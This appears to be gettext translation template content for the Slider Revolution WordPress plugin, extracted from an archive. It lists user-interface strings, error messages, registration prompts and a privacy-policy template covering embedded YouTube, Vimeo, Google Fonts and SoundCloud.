admin/views/builder-layer-forms.php:899 #: admin/views/builder-layer-forms.php:903 msgid "CustomCSS" msgstr "" #: admin/views/builder-layer-forms.php:909 msgid "" "Depricated Function !
            Only visible by Rendering. Limited influence on " "Styled Layers. Custom CSS Inline will be removed in Version 6.2" msgstr "" #: admin/views/builder-layer-forms.php:929 msgid "Reset Style" msgstr "" #: admin/views/builder-layer-forms.php:931 msgid "Cursor" msgstr "" #: admin/views/builder-layer-forms.php:932 msgid "Pointer Event" msgstr "" #: admin/views/builder-layer-forms.php:934 #: admin/views/builder-layer-forms.php:1169 msgid "Mask" msgstr "" #: admin/views/builder-layer-forms.php:942 msgid "Hover Transform" msgstr "" #: admin/views/builder-layer-forms.php:949 msgid "zIndex" msgstr "" #: admin/views/builder-layer-forms.php:984 msgid "Font Hover Style" msgstr "" #: admin/views/builder-layer-forms.php:997 msgid "SVG Hover Style" msgstr "" #: admin/views/builder-layer-forms.php:1015 msgid "Background Hover" msgstr "" #: admin/views/builder-layer-forms.php:1023 msgid "Border Hover" msgstr "" #: admin/views/builder-layer-forms.php:1054 msgid "Filter Hover" msgstr "" #: admin/views/builder-layer-forms.php:1105 msgid "Keyframes" msgstr "" #: admin/views/builder-layer-forms.php:1115 msgid "Set as Editor View" msgstr "" #: admin/views/builder-layer-forms.php:1126 #: admin/views/builder-layer-forms.php:1299 msgid "Basics" msgstr "" #: admin/views/builder-layer-forms.php:1131 msgid "Frame Alias" msgstr "" #: admin/views/builder-layer-forms.php:1138 msgid "Wait for Action" msgstr "" #: admin/views/builder-layer-forms.php:1145 msgid "Force Prepare" msgstr "" #: admin/views/builder-layer-forms.php:1152 msgid "Reverse \"IN\"" msgstr "" #: admin/views/builder-layer-forms.php:1165 msgid "Layer" msgstr "" #: admin/views/builder-layer-forms.php:1166 msgid "Char" msgstr "" #: admin/views/builder-layer-forms.php:1167 msgid "Word" msgstr "" #: admin/views/builder-layer-forms.php:1168 msgid "Line" msgstr "" #: admin/views/builder-layer-forms.php:1171 msgid "SFX" msgstr "" #: admin/views/builder-layer-forms.php:1215 #: admin/views/builder-layer-forms.php:1385 #: admin/views/builder-layer-forms.php:1455 #: admin/views/builder-layer-forms.php:1525 #: admin/views/builder-layer-forms.php:1665 msgid "Filter" msgstr "" #: admin/views/builder-layer-forms.php:1226 #: admin/views/builder-layer-forms.php:1257 #: admin/views/builder-layer-forms.php:1395 #: admin/views/builder-layer-forms.php:1465 #: admin/views/builder-layer-forms.php:1535 msgid "Slide Direction based Mirroring" msgstr "" #: admin/views/builder-layer-forms.php:1250 msgid "Use Masking" msgstr "" #: admin/views/builder-layer-forms.php:1267 msgid "Use Clip Path" msgstr "" #: admin/views/builder-layer-forms.php:1270 msgid "Rectangle" msgstr "" #: admin/views/builder-layer-forms.php:1271 msgid "Circle" msgstr "" #: admin/views/builder-layer-forms.php:1272 msgid "Inverts" msgstr "" #: admin/views/builder-layer-forms.php:1274 msgid "Origin" msgstr "" #: admin/views/builder-layer-forms.php:1285 msgid "Diagonal From" msgstr "" #: admin/views/builder-layer-forms.php:1286 #: admin/views/builder-layer-forms.php:1311 #: admin/views/builder-layer-forms.php:1328 msgid "Left Top" msgstr "" #: admin/views/builder-layer-forms.php:1287 #: admin/views/builder-layer-forms.php:1312 #: admin/views/builder-layer-forms.php:1329 msgid "Right Top" msgstr "" #: admin/views/builder-layer-forms.php:1288 #: admin/views/builder-layer-forms.php:1313 #: admin/views/builder-layer-forms.php:1330 msgid "Right Bottom" msgstr "" #: admin/views/builder-layer-forms.php:1289 #: admin/views/builder-layer-forms.php:1314 #: admin/views/builder-layer-forms.php:1331 msgid "Left Bottom" msgstr "" #: admin/views/builder-layer-forms.php:1291 msgid "Center Diagonal" msgstr "" #: admin/views/builder-layer-forms.php:1292 msgid "Center - Left Right" msgstr "" #: admin/views/builder-layer-forms.php:1293 #: admin/views/builder-layer-forms.php:1315 #: admin/views/builder-layer-forms.php:1332 msgid "Center - Right Left" msgstr "" #: admin/views/builder-layer-forms.php:1294 #: admin/views/builder-layer-forms.php:1302 #: admin/views/builder-layer-forms.php:1320 msgid "Invert Horizontal" msgstr "" #: admin/views/builder-layer-forms.php:1295 #: admin/views/builder-layer-forms.php:1303 #: admin/views/builder-layer-forms.php:1319 msgid "Invert Vertical" msgstr "" #: admin/views/builder-layer-forms.php:1310 msgid "Corners" msgstr "" #: admin/views/builder-layer-forms.php:1341 msgid "Split Chars" msgstr "" #: admin/views/builder-layer-forms.php:1344 #: admin/views/builder-layer-forms.php:1414 #: admin/views/builder-layer-forms.php:1484 msgid "Forward" msgstr "" #: admin/views/builder-layer-forms.php:1344 #: admin/views/builder-layer-forms.php:1414 #: admin/views/builder-layer-forms.php:1484 msgid "Backward" msgstr "" #: admin/views/builder-layer-forms.php:1344 #: admin/views/builder-layer-forms.php:1414 #: admin/views/builder-layer-forms.php:1484 msgid "Middle To Edge" msgstr "" #: admin/views/builder-layer-forms.php:1344 #: admin/views/builder-layer-forms.php:1414 #: admin/views/builder-layer-forms.php:1484 msgid "Edge to Middle" msgstr "" #: admin/views/builder-layer-forms.php:1411 msgid "Split Words" msgstr "" #: admin/views/builder-layer-forms.php:1481 msgid "Split Lines" msgstr "" #: admin/views/builder-layer-forms.php:1568 msgid "No Special Effect" msgstr "" #: admin/views/builder-layer-forms.php:1568 msgid "Block to Left" msgstr "" #: admin/views/builder-layer-forms.php:1568 msgid "Block to Right" msgstr "" #: admin/views/builder-layer-forms.php:1568 msgid "Block to Top" msgstr "" #: admin/views/builder-layer-forms.php:1568 msgid "Block to Bottom" msgstr "" #: admin/views/builder-layer-forms.php:1570 msgid "Block Color" msgstr "" #: admin/views/builder-layer-forms.php:1592 msgid "Layer Loop Animations" msgstr "" #: admin/views/builder-layer-forms.php:1599 msgid "Enable Timeline Loops" msgstr "" #: admin/views/builder-layer-forms.php:1602 msgid "Enable Loop Effects" msgstr "" #: admin/views/builder-layer-forms.php:1612 msgid "Layer Timline Loop" msgstr "" #: admin/views/builder-layer-forms.php:1614 msgid "Start Frame" msgstr "" #: admin/views/builder-layer-forms.php:1615 msgid "End Frame" msgstr "" #: admin/views/builder-layer-forms.php:1616 msgid "Loop Amount" msgstr "" #: admin/views/builder-layer-forms.php:1617 msgid "Animate to \"Start\" in Loop" msgstr "" #: admin/views/builder-layer-forms.php:1618 msgid "Reset Children Timeline" msgstr "" #: admin/views/builder-layer-forms.php:1623 msgid "" "Restriction !
            Children Layers of Group, Column and Row will simply " "restart, without animation from the last loop Frame to first loop frame, " "independent of the Animate to \"start\" in Loop enabled option." msgstr "" #: admin/views/builder-layer-forms.php:1636 msgid "Layer Looping Effects" msgstr "" #: admin/views/builder-layer-forms.php:1640 msgid "Load Loop Template" msgstr "" #: admin/views/builder-layer-forms.php:1662 msgid "Move" msgstr "" #: admin/views/builder-layer-forms.php:1664 msgid "Rotate" msgstr "" #: admin/views/builder-layer-forms.php:1671 msgid "Yoyo" msgstr "" #: admin/views/builder-layer-forms.php:1685 msgid "Curved" msgstr "" #: admin/views/builder-layer-forms.php:1687 msgid "Auto Rotate" msgstr "" #: admin/views/builder-layer-forms.php:1772 #: admin/views/builder-layer-forms.php:1776 msgid "Presets" msgstr "" #: admin/includes/shortcode_generator/shortcode_generator.class.php:215 msgid "Revolution Slider 6" msgstr "" #. Author of the plugin #: admin/includes/shortcode_generator/gutenberg/gutenberg-block.php:56 msgid "ThemePunch" msgstr "" #: admin/includes/shortcode_generator/elementor/elementor-widget.class.php:49 msgid "Slider Revolution:" msgstr "" #: admin/includes/shortcode_generator/elementor/elementor-widget.class.php:72 msgid "Select / Edit Slider" msgstr "" #. Description of the plugin msgid "Slider Revolution - Premium responsive slider" msgstr "" #. URI of the plugin msgid "https://www.sliderrevolution.com/" msgstr "" #. Author URI of the plugin msgid "https://themepunch.com/" msgstr "" languages/revslider-en_US.po000060400000525657151724235750012113 0ustar00msgid "" msgstr "" "Project-Id-Version: Slider Revolution\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2019-06-28 07:35+0000\n" "PO-Revision-Date: 2019-06-28 07:46+0000\n" "Last-Translator: admin \n" "Language-Team: English (United States)\n" "Language: en_US\n" "Plural-Forms: nplurals=2; plural=n != 1;\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Poedit-SourceCharset: UTF-8\n" "X-Poedit-Basepath: .\n" "X-Poedit-KeywordsList: _:1;gettext:1;dgettext:2;ngettext:1,2;dngettext:2,3;" "__:1;_e:1;_c:1;_n:1,2;_n_noop:1,2;_nc:1,2;__ngettext:1,2;__ngettext_noop:1,2;" "_x:1,2c;_ex:1,2c;_nx:1,2,4c;_nx_noop:1,2,3c;_n_js:1,2;_nx_js:1,2,3c;" "esc_attr__:1;esc_html__:1;esc_attr_e:1;esc_html_e:1;esc_attr_x:1,2c;" "esc_html_x:1,2c;comments_number_link:2,3;t:1;st:1;trans:1;transChoice:1,2\n" "X-Loco-Target-Locale: en_US\n" "X-Generator: Loco https://localise.biz/\n" "X-Loco-Version: 2.2.2; wp-5.2.2\n" "X-Poedit-SearchPath-0: ..\n" #: revslider.php:147 msgid "" "If you want to use the PHP function \"add_revslider\" in your code please " "make sure to activate " msgstr "" #: revslider.php:148 msgid "\"Include RevSlider libraries globally\" " msgstr "" #: revslider.php:149 msgid "and/or add the current page to the " msgstr "" #: revslider.php:150 msgid "\"Pages to include RevSlider libraries\" option " msgstr "" #: revslider.php:151 msgid "in the \"Global Settings\" of Slider Revolution." msgstr "" #: revslider.php:201 msgid "Revolution Slider Error:" msgstr "" #: includes/woocommerce.class.php:43 msgid "Product" msgstr "" #: includes/woocommerce.class.php:44 msgid "Product Variation" msgstr "" #: includes/woocommerce.class.php:130 admin/views/builder-slider-forms.php:636 msgid "Regular Price" msgstr "" #: includes/woocommerce.class.php:131 admin/views/builder-slider-forms.php:640 msgid "Sale Price" msgstr "" #: includes/woocommerce.class.php:132 msgid "Number Of Sales" msgstr "" #: includes/woocommerce.class.php:133 msgid "Featured Products" msgstr "" #: includes/woocommerce.class.php:134 admin/views/modals-builder.php:594 msgid "SKU" msgstr "" #: includes/woocommerce.class.php:135 admin/views/modals-builder.php:596 msgid "Stock Quantity" msgstr "" #: includes/slide.class.php:257 msgid "Slide ID" msgstr "" #: includes/slide.class.php:873 msgid "Source must be from Stream" msgstr "" #: includes/slide.class.php:1961 admin/revslider-admin.class.php:1991 #: admin/views/builder-slide-forms.php:480 msgid "Global Layers" msgstr "" #: includes/output.class.php:5686 msgid "" "No slides found, please add at least one Slide Template to the choosen " "language." msgstr "" #: includes/output.class.php:5688 msgid "No slides found, please add some slides" msgstr "" #: includes/output.class.php:5857 msgid "Please follow this link to edit the Slider:" msgstr "" #: includes/external-sources.class.php:385 msgid "Can't get the bearer token, check your credentials" msgstr "" #: includes/external-sources.class.php:438 msgid "Bearer Token is good, check your query" msgstr "" #: includes/external-sources.class.php:592 msgid "Instagram reports: Parse script error" msgstr "" #: includes/external-sources.class.php:598 msgid "Instagram reports: Content did not match expected" msgstr "" #: includes/external-sources.class.php:601 msgid "Instagram reports: Content is private" msgstr "" #: includes/em-integration.class.php:32 msgid "All Events" msgstr "" #: includes/em-integration.class.php:33 msgid "Today" msgstr "" #: includes/em-integration.class.php:34 msgid "Tomorrow" msgstr "" #: includes/em-integration.class.php:35 msgid "Future" msgstr "" #: includes/em-integration.class.php:36 msgid "Past" msgstr "" #: includes/em-integration.class.php:37 msgid "This Month" msgstr "" #: includes/em-integration.class.php:38 msgid "Next Month" msgstr "" #: includes/em-integration.class.php:160 msgid "Event Start Date" msgstr "" #: includes/em-integration.class.php:161 msgid "Event End Date" msgstr "" #: includes/data.class.php:35 msgid "Loaded Google Fonts" msgstr "" #: includes/data.class.php:38 includes/data.class.php:39 #: includes/data.class.php:40 msgid "Serif Fonts" msgstr "" #: includes/data.class.php:43 includes/data.class.php:44 #: includes/data.class.php:45 includes/data.class.php:46 #: includes/data.class.php:47 includes/data.class.php:48 #: includes/data.class.php:49 includes/data.class.php:50 msgid "Sans-Serif Fonts" msgstr "" #: includes/data.class.php:53 includes/data.class.php:54 msgid "Monospace Fonts" msgstr "" #: includes/data.class.php:65 msgid "Google Fonts" msgstr "" #: includes/data.class.php:199 msgid "Original" msgstr "" #: includes/data.class.php:200 includes/data.class.php:242 #: includes/data.class.php:257 msgid "Large" msgstr "" #: includes/data.class.php:201 msgid "Large Square" msgstr "" #: includes/data.class.php:202 includes/data.class.php:232 #: includes/data.class.php:241 includes/data.class.php:256 msgid "Medium" msgstr "" #: includes/data.class.php:203 msgid "Medium 800" msgstr "" #: includes/data.class.php:204 msgid "Medium 640" msgstr "" #: includes/data.class.php:205 includes/data.class.php:240 msgid "Small" msgstr "" #: includes/data.class.php:206 msgid "Small 320" msgstr "" #: includes/data.class.php:207 includes/data.class.php:214 #: includes/data.class.php:226 includes/data.class.php:255 #: admin/views/builder-slide-forms.php:20 msgid "Thumbnail" msgstr "" #: includes/data.class.php:208 msgid "Square" msgstr "" #: includes/data.class.php:213 includes/data.class.php:220 msgid "Standard Resolution" msgstr "" #: includes/data.class.php:215 msgid "Low Resolution" msgstr "" #: includes/data.class.php:225 includes/data.class.php:254 #: admin/views/builder-slide-forms.php:709 msgid "Original Size" msgstr "" #: includes/data.class.php:231 admin/views/builder-nav-forms.php:838 #: admin/views/modals-builder.php:323 admin/views/modals-builder.php:324 #: admin/views/modals-builder.php:325 admin/views/modals-builder.php:326 #: admin/views/builder-slide-forms.php:296 #: admin/views/builder-slide-forms.php:301 #: admin/views/builder-slide-forms.php:306 #: admin/views/builder-slide-forms.php:565 msgid "Default" msgstr "" #: includes/data.class.php:233 msgid "High" msgstr "" #: includes/data.class.php:234 msgid "Standard" msgstr "" #: includes/data.class.php:235 msgid "Max. Res." msgstr "" #: includes/functions.class.php:85 msgid "Slider Revolution encountered the following error: " msgstr "" #: includes/functions.class.php:225 msgid " should be numeric" msgstr "" #: includes/functions.class.php:235 msgid " should not be empty" msgstr "" #: includes/functions.class.php:1161 msgid "Wrong category format" msgstr "" #: includes/functions.class.php:1563 #, php-format msgid "View all posts in %s" msgstr "" #: includes/wpml.class.php:39 msgid "The WPML plugin is not activated" msgstr "" #: includes/wpml.class.php:55 includes/wpml.class.php:128 msgid "All Languages" msgstr "" #: includes/object-library.class.php:206 includes/object-library.class.php:219 #: includes/object-library.class.php:321 msgid "Plugin not activated" msgstr "" #: includes/object-library.class.php:248 includes/object-library.class.php:345 msgid "No data received" msgstr "" #: includes/object-library.class.php:252 includes/object-library.class.php:270 #: includes/object-library.class.php:273 msgid "Error downloading object" msgstr "" #: includes/object-library.class.php:310 msgid "Error downloading layers" msgstr "" #: includes/object-library.class.php:349 includes/object-library.class.php:356 msgid "Error downloading layers data" msgstr "" #: includes/slider.class.php:665 msgid "Slide not found in the main slides of the slider. Maybe it" msgstr "" #: includes/slider.class.php:950 msgid "A Slider with the given alias already exists" msgstr "" #: includes/slider.class.php:1359 includes/slider.class.php:1366 #: includes/slider.class.php:1374 msgid "Slide could not be duplicated" msgstr "" #: includes/slider.class.php:1483 msgid "This Source Type must be from posts." msgstr "" #: includes/slider.class.php:1626 includes/slider.class.php:1641 msgid "Sorry, this Social Stream cannot be displayed." msgstr "" #: includes/navigation.class.php:241 msgid "Invalid ID" msgstr "" #: includes/navigation.class.php:244 msgid "Navigation could not be deleted" msgstr "" #: includes/navigation.class.php:520 msgid "Can't modify a default preset of default navigations" msgstr "" #: includes/navigation.class.php:536 includes/navigation.class.php:576 msgid "Preset handle already exists, please choose a different name" msgstr "" #: includes/navigation.class.php:636 msgid "Navigation not found, could not add preset" msgstr "" #: includes/navigation.class.php:671 msgid "Can't delete default preset of default navigations" msgstr "" #: includes/navigation.class.php:673 msgid "Preset not found in default navigations" msgstr "" #: includes/navigation.class.php:685 admin/revslider-admin.class.php:920 msgid "Preset not found" msgstr "" #: includes/navigation.class.php:710 msgid "Navigation not found, could not delete preset" msgstr "" #: includes/extension.class.php:47 admin/includes/widget.class.php:14 msgid "Slider Revolution" msgstr "" #: includes/extension.class.php:105 msgid "Choose Revolution Slider" msgstr "" #: includes/extension.class.php:109 msgid "--- Choose Slider ---" msgstr "" #: admin/revslider-admin.class.php:246 msgid "Choose Slide Template" msgstr "" #: admin/revslider-admin.class.php:404 msgid "" "Activate Slider Revolution for Premium Benefits (e.g. " "Live Updates)." msgstr "" #: admin/revslider-admin.class.php:415 msgid "A new version of Slider Revolution is available." msgstr "" #: admin/revslider-admin.class.php:436 msgid "" "

            In case you’re using Google Web Fonts (default) or playing videos or " "sounds via YouTube or Vimeo in Slider Revolution we recommend to add the " "corresponding text phrase to your privacy police:

            \n" "\t\t

            YouTube

            Our website uses plugins from YouTube, which is " "operated by Google. The operator of the pages is YouTube LLC, 901 Cherry Ave." ", San Bruno, CA 94066, USA.

            If you visit one of our pages featuring a " "YouTube plugin, a connection to the YouTube servers is established. Here the " "YouTube server is informed about which of our pages you have visited.

            " "If you're logged in to your YouTube account, YouTube allows you to associate " "your browsing behavior directly with your personal profile. You can prevent " "this by logging out of your YouTube account.

            YouTube is used to help " "make our website appealing. This constitutes a justified interest pursuant " "to Art. 6 (1) (f) DSGVO.

            Further information about handling user data," " can be found in the data protection declaration of YouTube under " "https://www.google.de/intl/de/policies/privacy.

            \n" "\t\t

            Vimeo

            Our website uses features provided by the Vimeo video " "portal. This service is provided by Vimeo Inc., 555 West 18th Street, New " "York, New York 10011, USA.

            If you visit one of our pages featuring a " "Vimeo plugin, a connection to the Vimeo servers is established. Here the " "Vimeo server is informed about which of our pages you have visited. In " "addition, Vimeo will receive your IP address. This also applies if you are " "not logged in to Vimeo when you visit our plugin or do not have a Vimeo " "account. The information is transmitted to a Vimeo server in the US, where " "it is stored.

            If you are logged in to your Vimeo account, Vimeo " "allows you to associate your browsing behavior directly with your personal " "profile. You can prevent this by logging out of your Vimeo account.

            " "For more information on how to handle user data, please refer to the Vimeo " "Privacy Policy at " "https://vimeo.com/privacy.

            \n" "\t\t

            Google Web Fonts

            For uniform representation of fonts, this " "page uses web fonts provided by Google. When you open a page, your browser " "loads the required web fonts into your browser cache to display texts and " "fonts correctly.

            For this purpose your browser has to establish a " "direct connection to Google servers. Google thus becomes aware that our web " "page was accessed via your IP address. The use of Google Web fonts is done " "in the interest of a uniform and attractive presentation of our plugin. This " "constitutes a justified interest pursuant to Art. 6 (1) (f) DSGVO.

            If " "your browser does not support web fonts, a standard font is used by your " "computer.

            Further information about handling user data, can be found " "at " "https://developers.google.com/fonts/faq and in Google's privacy policy " "at " "https://www.google.com/policies/privacy/.

            \n" "\t\t

            SoundCloud

            On our pages, plugins of the SoundCloud social " "network (SoundCloud Limited, Berners House, 47-48 Berners Street, London W1T " "3NF, UK) may be integrated. The SoundCloud plugins can be recognized by the " "SoundCloud logo on our site.

            \n" "\t\t\t

            When you visit our site, a direct connection between your browser " "and the SoundCloud server is established via the plugin. This enables " "SoundCloud to receive information that you have visited our site from your " "IP address. If you click on the “Like” or “Share” buttons while you are " "logged into your SoundCloud account, you can link the content of our pages " "to your SoundCloud profile. This means that SoundCloud can associate visits " "to our pages with your user account. We would like to point out that, as the " "provider of these pages, we have no knowledge of the content of the data " "transmitted or how it will be used by SoundCloud. For more information on " "SoundCloud’s privacy policy, please go to https://soundcloud." "com/pages/privacy.

            If you do not want SoundCloud to associate your " "visit to our site with your SoundCloud account, please log out of your " "SoundCloud account.

            " msgstr "" #: admin/revslider-admin.class.php:484 msgid "Function Not Available in Demo Mode" msgstr "" #: admin/revslider-admin.class.php:506 admin/revslider-admin.class.php:512 msgid "Function Only Available for Adminstrators" msgstr "" #: admin/revslider-admin.class.php:521 msgid "Bad Request" msgstr "" #: admin/revslider-admin.class.php:532 msgid "The Purchase Code needs to be set!" msgstr "" #: admin/revslider-admin.class.php:537 msgid "Plugin successfully activated" msgstr "" #: admin/revslider-admin.class.php:539 admin/includes/template.class.php:60 msgid "Purchase Code is invalid" msgstr "" #: admin/revslider-admin.class.php:542 msgid "Purchase Code already registered!" msgstr "" #: admin/revslider-admin.class.php:544 msgid "Purchase Code was locked, please contact the ThemePunch support!" msgstr "" #: admin/revslider-admin.class.php:546 msgid "Purchase Code could not be validated" msgstr "" #: admin/revslider-admin.class.php:553 msgid "Plugin deregistered" msgstr "" #: admin/revslider-admin.class.php:555 msgid "Deregistration failed!" msgstr "" #: admin/revslider-admin.class.php:569 msgid "Saved" msgstr "" #: admin/revslider-admin.class.php:580 msgid "Connection to Update Server Failed" msgstr "" #: admin/revslider-admin.class.php:631 admin/revslider-admin.class.php:693 msgid "Slider Import Failed" msgstr "" #: admin/revslider-admin.class.php:634 msgid "Template Slider Import Failed" msgstr "" #: admin/revslider-admin.class.php:645 msgid "Template Slider Installation Failed" msgstr "" #: admin/revslider-admin.class.php:669 msgid "Slide duplication failed" msgstr "" #: admin/revslider-admin.class.php:753 msgid "Slider Deleted" msgstr "" #: admin/revslider-admin.class.php:765 msgid "Duplication Failed" msgstr "" #: admin/revslider-admin.class.php:773 msgid "Slide Saved" msgstr "" #: admin/revslider-admin.class.php:775 msgid "Slide not found" msgstr "" #: admin/revslider-admin.class.php:829 admin/revslider-admin.class.php:1668 #: admin/revslider-admin.class.php:1673 msgid "Slider not found" msgstr "" #: admin/revslider-admin.class.php:863 msgid "Posts" msgstr "" #: admin/revslider-admin.class.php:890 msgid "Global Settings saved/updated" msgstr "" #: admin/revslider-admin.class.php:892 admin/revslider-admin.class.php:895 msgid "Global Settings not saved/updated" msgstr "" #: admin/revslider-admin.class.php:903 msgid "Navigation preset saved/updated" msgstr "" #: admin/revslider-admin.class.php:906 msgid "Preset could not be saved/values are the same" msgstr "" #: admin/revslider-admin.class.php:917 msgid "Navigation preset deleted" msgstr "" #: admin/revslider-admin.class.php:950 msgid "Animation deleted" msgstr "" #: admin/revslider-admin.class.php:952 msgid "Deletion failed" msgstr "" #: admin/revslider-admin.class.php:970 msgid "Animation saved" msgstr "" #: admin/revslider-admin.class.php:973 msgid "Animation could not be saved" msgstr "" #: admin/revslider-admin.class.php:1005 admin/revslider-admin.class.php:1011 msgid "Slider could not be loaded" msgstr "" #: admin/revslider-admin.class.php:1074 msgid "New Folder" msgstr "" #: admin/revslider-admin.class.php:1081 msgid "Folder Creation Failed" msgstr "" #: admin/revslider-admin.class.php:1090 msgid "Folder Deleted" msgstr "" #: admin/revslider-admin.class.php:1092 msgid "Folder Deletion Failed" msgstr "" #: admin/revslider-admin.class.php:1101 msgid "Tags Updated" msgstr "" #: admin/revslider-admin.class.php:1103 msgid "Failed to Update Tags" msgstr "" #: admin/revslider-admin.class.php:1114 msgid "Slider Moved to Folder" msgstr "" #: admin/revslider-admin.class.php:1116 msgid "Failed to Move Slider Into Folder" msgstr "" #: admin/revslider-admin.class.php:1127 msgid "Title updated" msgstr "" #: admin/revslider-admin.class.php:1129 msgid "Failed to update Title" msgstr "" #: admin/revslider-admin.class.php:1135 msgid "Slider Revolution Preview" msgstr "" #: admin/revslider-admin.class.php:1250 msgid "Invalid Email" msgstr "" #: admin/revslider-admin.class.php:1253 msgid "Success! Please check your E-Mails to finish the subscription" msgstr "" #: admin/revslider-admin.class.php:1256 msgid "Invalid Email/Could not connect to the Newsletter server" msgstr "" #: admin/revslider-admin.class.php:1259 msgid "No Email given" msgstr "" #: admin/revslider-admin.class.php:1296 msgid "Favorite Changed" msgstr "" #: admin/revslider-admin.class.php:1323 msgid "Object could not be loaded" msgstr "" #: admin/revslider-admin.class.php:1333 msgid "Video cover could not be loaded" msgstr "" #: admin/revslider-admin.class.php:1357 msgid "Could not create Slide" msgstr "" #: admin/revslider-admin.class.php:1377 msgid "Could not create Slider" msgstr "" #: admin/revslider-admin.class.php:1408 msgid "AddOn could not be activated" msgstr "" #: admin/revslider-admin.class.php:1420 msgid "AddOn deactivated" msgstr "" #: admin/revslider-admin.class.php:1422 msgid "AddOn could not be deactivated" msgstr "" #: admin/revslider-admin.class.php:1549 msgid "Successfully fetched Facebook albums" msgstr "" #: admin/revslider-admin.class.php:1551 msgid "Could not fetch Facebook albums" msgstr "" #: admin/revslider-admin.class.php:1555 msgid "Cleared Albums" msgstr "" #: admin/revslider-admin.class.php:1564 msgid "Successfully fetched flickr photosets" msgstr "" #: admin/revslider-admin.class.php:1566 msgid "Could not fetch flickr photosets" msgstr "" #: admin/revslider-admin.class.php:1571 msgid "Cleared Photosets" msgstr "" #: admin/revslider-admin.class.php:1573 msgid "No User URL - Could not fetch flickr photosets" msgstr "" #: admin/revslider-admin.class.php:1576 msgid "No API KEY - Could not fetch flickr photosets" msgstr "" #: admin/revslider-admin.class.php:1585 msgid "Successfully fetched YouTube playlists" msgstr "" #: admin/revslider-admin.class.php:1587 msgid "Could not fetch YouTube playlists" msgstr "" #: admin/revslider-admin.class.php:1595 msgid "Slider Revolution database structure was updated" msgstr "" #: admin/revslider-admin.class.php:1626 msgid "No response on action" msgstr "" #: admin/revslider-admin.class.php:1677 msgid "No Data Received" msgstr "" #: admin/revslider-admin.class.php:1686 msgid "Loading Error" msgstr "" #: admin/revslider-admin.class.php:1686 msgid "Loading Error: " msgstr "" #: admin/revslider-admin.class.php:1759 msgid "Please Wait a Moment" msgstr "" #: admin/revslider-admin.class.php:1760 admin/revslider-admin.class.php:1857 msgid "Ooppps...." msgstr "" #: admin/revslider-admin.class.php:1761 admin/revslider-admin.class.php:1858 msgid "None of the Settings changed. There is Nothing to Save" msgstr "" #: admin/revslider-admin.class.php:1762 admin/revslider-admin.class.php:1859 msgid "Enter Preset Name to Save or Delete" msgstr "" #: admin/revslider-admin.class.php:1763 admin/revslider-admin.class.php:1860 msgid "Custom Size is currently Disabled" msgstr "" #: admin/revslider-admin.class.php:1764 admin/revslider-admin.class.php:1861 msgid "" "The Current Size is set to calculate the Layer grid sizes Automatically.
            " "Do you want to continue with Custom Sizes or do you want to keep the " "Automatically generated sizes ?" msgstr "" #: admin/revslider-admin.class.php:1765 admin/revslider-admin.class.php:1862 msgid "Keep Auto Sizes" msgstr "" #: admin/revslider-admin.class.php:1766 admin/revslider-admin.class.php:1863 msgid "Use Custom Sizes" msgstr "" #: admin/revslider-admin.class.php:1767 admin/revslider-admin.class.php:1864 msgid "What should happen Next?" msgstr "" #: admin/revslider-admin.class.php:1768 admin/revslider-admin.class.php:1865 msgid "Need Attention by removing" msgstr "" #: admin/revslider-admin.class.php:1769 admin/revslider-admin.class.php:1866 msgid "Where do you want to move the Inherited Layers?" msgstr "" #: admin/revslider-admin.class.php:1770 admin/revslider-admin.class.php:1867 msgid "Drag & Drop Import File" msgstr "" #: admin/revslider-admin.class.php:1771 admin/revslider-admin.class.php:1868 msgid "or" msgstr "" #: admin/revslider-admin.class.php:1772 admin/revslider-admin.class.php:1869 msgid "Click to Choose" msgstr "" #: admin/revslider-admin.class.php:1773 admin/revslider-admin.class.php:1870 msgid "Embed" msgstr "" #: admin/revslider-admin.class.php:1774 admin/revslider-admin.class.php:1871 msgid "Export" msgstr "" #: admin/revslider-admin.class.php:1775 admin/revslider-admin.class.php:1873 #: admin/views/builder-nav-forms.php:230 admin/views/builder-nav-forms.php:370 #: admin/views/builder-nav-forms.php:557 admin/views/builder-nav-forms.php:741 msgid "Delete" msgstr "" #: admin/revslider-admin.class.php:1776 admin/revslider-admin.class.php:1874 #: admin/views/builder.php:141 msgid "Duplicate" msgstr "" #: admin/revslider-admin.class.php:1777 admin/revslider-admin.class.php:1875 #: admin/views/modals-general.php:40 admin/views/builder.php:303 msgid "Preview" msgstr "" #: admin/revslider-admin.class.php:1778 admin/revslider-admin.class.php:1876 #: admin/views/modals-builder.php:582 msgid "Tags" msgstr "" #: admin/revslider-admin.class.php:1779 admin/revslider-admin.class.php:1877 msgid "Folder" msgstr "" #: admin/revslider-admin.class.php:1780 admin/revslider-admin.class.php:1878 msgid "Rename" msgstr "" #: admin/revslider-admin.class.php:1781 admin/revslider-admin.class.php:1879 msgid "Root Level" msgstr "" #: admin/revslider-admin.class.php:1782 admin/revslider-admin.class.php:1880 #: admin/includes/shortcode_generator/shortcode_generator.class.php:122 msgid "Root" msgstr "" #: admin/revslider-admin.class.php:1783 admin/revslider-admin.class.php:1881 #: admin/includes/shortcode_generator/shortcode_generator.class.php:148 msgid "Show" msgstr "" #: admin/revslider-admin.class.php:1784 admin/revslider-admin.class.php:1882 #: admin/includes/shortcode_generator/shortcode_generator.class.php:149 msgid "Per Page" msgstr "" #: admin/revslider-admin.class.php:1791 #: admin/includes/shortcode_generator/shortcode_generator.class.php:112 msgid "© Copyright & License Info" msgstr "" #: admin/revslider-admin.class.php:1792 admin/views/overview.php:125 msgid "Registered" msgstr "" #: admin/revslider-admin.class.php:1793 msgid "Unregistered" msgstr "" #: admin/revslider-admin.class.php:1794 msgid "Dismiss Messages" msgstr "" #: admin/revslider-admin.class.php:1795 msgid "Some AddOns have new versions available" msgstr "" #: admin/revslider-admin.class.php:1796 msgid "New Version Available. Please Update" msgstr "" #: admin/revslider-admin.class.php:1797 msgid "AddOns Outdated. Please Update" msgstr "" #: admin/revslider-admin.class.php:1798 msgid "Plugin is not Registered" msgstr "" #: admin/revslider-admin.class.php:1799 msgid "Register to unlock Premium Features" msgstr "" #: admin/revslider-admin.class.php:1800 msgid "Register to Unlock all Features" msgstr "" #: admin/revslider-admin.class.php:1801 msgid "Register to unlock AddOns" msgstr "" #: admin/revslider-admin.class.php:1802 msgid "Register to unlock Support" msgstr "" #: admin/revslider-admin.class.php:1803 msgid "Register to unlock Library" msgstr "" #: admin/revslider-admin.class.php:1804 msgid "Register to unlock Updates" msgstr "" #: admin/revslider-admin.class.php:1805 msgid "Register to unlock Templates" msgstr 